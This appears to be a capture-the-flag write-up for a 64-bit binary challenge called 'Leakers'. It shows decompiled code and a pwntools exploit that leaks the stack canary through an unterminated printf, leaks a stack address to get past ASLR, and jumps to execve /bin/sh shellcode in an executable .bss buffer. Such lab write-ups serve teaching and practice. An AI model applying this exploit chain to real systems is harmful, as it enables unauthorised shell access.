Since ASLR is active, memory addresses are not consistent.

Initial Analysis

The provided program reads two inputs and prints them on stdout. Then, it continuously rereads the second input and prints both buffers on stdout.

If we run checksec:

This is the decompiled binary from Ghidra:

undefined8 main(void)
{
  int mmprotect_return;
  undefined8 uVar1;
  ssize_t nread;
  long in_FS_OFFSET;
  char buffer [104];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(_stdin,(char *)0x0,2,0);
  setvbuf(_stdout,(char *)0x0,2,0);
  puts("Welcome to Leakers!\n");
  mmprotect_return = mprotect(&_GLOBAL_OFFSET_TABLE_,0x1000,7);
  if (mmprotect_return == -1) {
    puts("Failed mprotect!");
    uVar1 = 0xffffffff;
  }
  else {
    nread = read(0,bss_buffer,100);
    if (1 < (int)nread) {
      bss_buffer[(int)nread + -1] = '\0';
    }
    while( true ) {
      nread = read(0,buffer,200);
      if (((int)nread == 1) && ((buffer[0] == '\n' || (buffer[0] == '\0')))) break;
      printf("%s> %s",bss_buffer,buffer);
    }
    puts("Bye!");
    uVar1 = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return uVar1;
}

We can see that the first buffer is stored in a global variable in the .bss section, while the second one is a local variable on the stack. Since the .bss memory area is made executable by mprotect, we can potentially put a shellcode in that buffer.

Stack Canary Bypass

The first bug is a buffer overflow on the second read. The read expects 200 bytes, while the program allocated only 104. We can immediately try to overflow the EIP address of the main function to get execution control. But since canary is implemented, doing so triggers __stack_chk_fail(). Nonetheless, we proved we can effectively overwrite EIP, and with gdb we can compute the offset from our buffer.

Another key observation: the printf in the while loop prints both user-supplied buffers, but while the first buffer gets a terminating null byte after the read, no such action is taken for the second. This lets us print arbitrary data from the stack.

The first bytes of the canary are always zero, preventing accidental leaks when printing from the stack. Here comes the trick: since we have a long enough buffer overflow, we can overwrite the zero byte and make printf leak the canary. Moreover, since we do this inside a while loop, we can both leak it and then correctly overwrite it without triggering __stack_chk_fail.

# GDB
gdb.attach(r, 'c')

# Sending bss buffer
shellcode = b"\x48\x8D\x3D\x00\x00\x00\x00\x48\xC7\xC0\x3B\x00\x00\x00\x48\x31\xD2\x48\x31\xF6\x48\x83\xC7\x13\x0F\x05/bin/sh\x00"

input("wait")
r.sendline(shellcode)
print("[!] bss sent")

# Sending stack overflow
input("wait")
overflow = b"B" * 105  # overflow stack and first byte of canary
r.send(overflow)
print("[!] overflow sent")

# Reading canary
r.recvuntil(b"> ")
r.read(105)  # read cyclic

leaked_canary = b"\x00" + r.read(7)  # add back the overwritten 0 byte
canary = u64(leaked_canary)

print("[!] leaked_canary: %s" % leaked_canary)
print("[!] canary: %#x" % canary)

We can verify the value in gdb:

Since our input doesn’t exit the loop, we can feed a second payload that overwrites the canary correctly and overwrites EIP:

payload = cyclic(104) + p64(canary) + cyclic(8) + b"AAAAAAAA"
r.send(payload)

From gdb:

Program received signal SIGSEGV, Segmentation fault.
 0x55de2ce00ab0 <main+336>    ret    <0x41414141414141>

ASLR Bypass

The main challenge comes from ASLR. We need a leak to find the address of our .bss buffer.

Exploiting the printf vulnerability, I iterated over the stack to find something useful:

for i in range(120, 150):
    overflowing_buffer = cyclic(i)
    r.send(overflowing_buffer)
    r.recvuntil(b"> ")
    buffer = r.read(i)

    if 136 == i:
        leaked_address = r.read(6) + b"\x00" + b"\x00"
        stack_address = u64(leaked_address)
        print("[!] leaked address: %s" % leaked_address)
        print("[!] address: %#x" % stack_address)
        continue

    leaked_stack = r.recv(200, timeout=0.01)
    print(f"[!] {i}. leaked stack: {leaked_stack}")

Output:

[!] leaked address: b'`\t@\xf0_U\x00\x00'
[!] address: 0x555ff0400960

After 136 bytes from our buffer, a stack address leaks consistently. Even though it’s not static, it is always at the same offset from our bss buffer. We compute the offset and redirect EIP to our shellcode:

# Compute bss buffer address
bss_buffer_address = stack_address + 2098976

input("wait")

# Canary overwrite + EIP redirect
payload = cyclic(104) + p64(canary) + cyclic(8) + p64(bss_buffer_address) + b"\x90" * 30
r.send(payload)
print("[!] Canary overwrite sent")

input("wait")
r.sendline(b"")  # trigger return

r.interactive()